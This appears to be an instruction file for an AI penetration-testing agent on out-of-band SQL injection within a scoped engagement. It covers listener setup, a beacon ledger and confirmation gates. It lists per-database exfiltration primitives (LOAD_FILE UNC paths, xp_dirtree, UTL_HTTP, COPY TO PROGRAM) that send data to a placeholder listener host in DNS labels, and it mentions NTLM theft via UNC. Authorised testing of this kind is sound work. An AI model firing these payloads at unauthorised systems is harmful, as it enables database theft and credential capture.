Hunt: SQLi - OOB expert (microskill)
Out-of-band extraction expert of the sqli split: nothing renders and timing is too slow - the database itself makes an outbound call carrying the data in the DNS name or HTTP path. The core (hunt-sqli) owns mapping and the sqlmap contract; this skill owns the egress primitives and the beacon ledger discipline.
Load-bearing ideas: (1) an OOB claim REQUIRES a HIT row in oob.md - a payload that "should have fired" is nothing; (2) egress egress egress: verify the DB box can reach your listener at all (a firewalled egress path is the #1 deadend); (3) DNS carries ~63 bytes per label - chunk and encode accordingly.
Wiki
Hub: [[sql-injection]] - Primary page: [[sql-injection]] Anchors: the OOB section of [[sql-injection]] REFS: [[sql-injection]]
qmd on hint only: "out of band sqli dns exfil load_file unc xp_dirtree utl_http" - the sqli page first.
Shared obfuscation arsenal: hunt-sqli/references/waf-bypass.md -
per-DBMS OOB table (MySQL DNS = Windows-only UNC; Linux MySQL OOB
dead -> blind channels; UNC doubles as NTLM theft), DNS label budget
~63 chars (chunk or base32).
Paths (binding - shared with the core run)
# seat side (wsl):
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/sqli/<host> # SHARED with hunt-sqli
# VM side:
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/sqli/<host>
Experts write probes/sqli-oob.jsonl into the core's $RUN tree. The beacon ledger lives at targets//oob.md (token | sink | class | planted | status | source) - the engagement-wide OOB contract.
Transport
Every VM-native command block ships through ONE documented transport:
wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"
- vm-ssh lands as user tz (NOT root); one argument per call; quotes
ship as base64 (
echo <b64> | base64 -d | bash). - Target-facing curls MUST use /opt/scope-shim/bin/curl by absolute path; out-of-scope dies rc 126 (never work around); UNKNOWN = ADVISORY, self-deny.
- Listener: /home/tz/go/bin/interactsh-client (v1.2.0) detached (vm-bg.sh); the listener domain prefixes every payload; poll the interactsh session file for HITs. The listener is a HARD gate here (OOB-mandatory skill) - the preflight block owns its install line.
- sqlmap escalation lives in the CORE's canonical contract - BY REFERENCE, never a second copy here.
Entry gate
All four must pass; each is falsifiable:
Active engagement exists; the injection point is on targets//scope.md in-scope. Scope-guard is the deny.
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Core verified: $RUN/raw/vector-map.md exists AND the core pointer carries SQLI-HUNT-DONE with oob named in next=. Missing = dispatch hunt-sqli core first.
Toolchain preflight (fails LOUD):
for t in /usr/bin/jq /usr/bin/python3 \ /opt/scope-shim/bin/curl; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done [ -x /home/tz/go/bin/interactsh-client ] \ || { echo "MISSING TOOL: interactsh-client (install: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0)"; exit 1; }
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/sqli/<host>/sqli-oob-checklist.md at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. SKILL.md and the checklist header agree byte-for-byte on that
copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
Confirmation gate
NOT confirmation: a payload planted; "the DNS should have resolved"; a listener that was not running when the query executed.
IS confirmation: a HIT row in targets//oob.md - the listener logged the beacon carrying YOUR token, ideally carrying extracted data (version/user in the subdomain), reproduced from your own written steps.
Methodology
Step 1 - Listener + ledger
interactsh-client detached; listener domain recorded; oob.md row planted per beacon (token names the injection point). Egress probe FIRST: fire a trivial canary (a payload that only resolves the listener domain) before building any extraction - no canary hit = egress is dead, close with evidence.
Step 2 - Engine primitives
- MySQL (Windows):
LOAD_FILE('\\\\<listener>\\canary')(UNC path- SMB, Windows DB hosts only); LOAD_FILE + dns-suffix tricks on Linux where plugin paths allow.
- MSSQL:
xp_dirtree('\\<listener>\\canary'),xp_fileexist; (xp_cmdshell usually disabled - do not grind it). - Oracle:
UTL_HTTP.request('http://<listener>/canary'),UTL_INADDR.gethostaddress('<token>.<listener>'). - Postgres:
COPY ... TO PROGRAM/ dblink shapes where permitted. - Data-carrying: embed the value in the hostname chunk-wise
(
<hex-chunk>.<token>.<listener>, <=63 bytes per label).
Step 3 - Bounded extraction
Canary -> version/user beacon (verify the value in the DNS log) -> the core's ranked targets, chunked. Every HIT appends its oob.md row flip (status planted -> HIT) + a probe row citing the listener log.
Step 4 - Exit
Append rows to the core's $RUN/candidates.jsonl;
SQLI-OOB-DONE canary=<hit|miss> hits=<n> values=<n> appended to the
core pointer $ENG_DIR/hunt-sqli-.md; _requests.md rows (lane =
hunt-sqli-oob); Deadends per failed egress path (record WHICH path
was blocked).
Chaining
- Canary dead (egress blocked) -> hunt-sqli-time (the only remaining blind channel).
- The OOB sink is an HTTP fetch by the app -> cross-check hunt-ssrf joint row.
- sqlmap when manual bounds exceed: the CORE's contract (--technique=O with --dns-domain when you control one).
Validation
- Proof = listener-log HIT with your token; extracted values verified against a second source where possible (banner).
- Negative control: the same payload with a bogus TLD never appears.
False Positives
- Corporate DNS resolving wildcards (everything "hits") - test with a random nonexistent token first.
- A HIT from your OWN tooling (recon lanes resolving the domain) - the token names the point, check the source.
- SMB canary hitting from a different host (middlebox).
Severity
CRITICAL = credential/sensitive extraction over the beacon. HIGH = canary + version/user. MEDIUM = canary only (egress proof).
N/A escapes
- "N/A: no outbound egress" (canary-miss evidence recorded) An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand pass over the vector map, output ONLY $RUN/analysis/bitter-pill.md. The HIT-row gate survives freehand. Declare with a _requests.md row (lane = hunt-sqli-oob-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
Appends into the shared core $RUN: probes/sqli-oob.jsonl,
candidates.jsonl rows, pointer line SQLI-OOB-DONE. oob.md HIT rows at
targets//oob.md. Consumer: triage. Findings leave ONLY through
G1. Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/sql-injection.md.
Stop conditions
All steps terminal; HIT-row proof on every claim; listener torn down after the run; nothing written into skill dirs; no unchecked boxes above REVIEW; hunt-core stop conditions fire unchanged.
Attack surface
APPROACH: Hit login/search/sort/report params first; probe every quote context, take in-band (error/UNION) before blind (boolean/time), confirm in 1-2 manual requests then hand the dump to sqlmap (scoped, gentle, resume). AVOID: A generic 500, a WAF "SQL injection detected" string, an un-reproduced time delta, or a single-session login oracle is NOT confirmation - re-verify in a clean session, clear the cookie on a login oracle.
Cross-routing
- Load hunt-auth for auth-bypass outcomes of the injection.
- Load hunt-cloud when the DB is managed-cloud (different blast radius/escalation).
- Not this skill: NoSQL/GraphQL operator shapes (hunt-injection).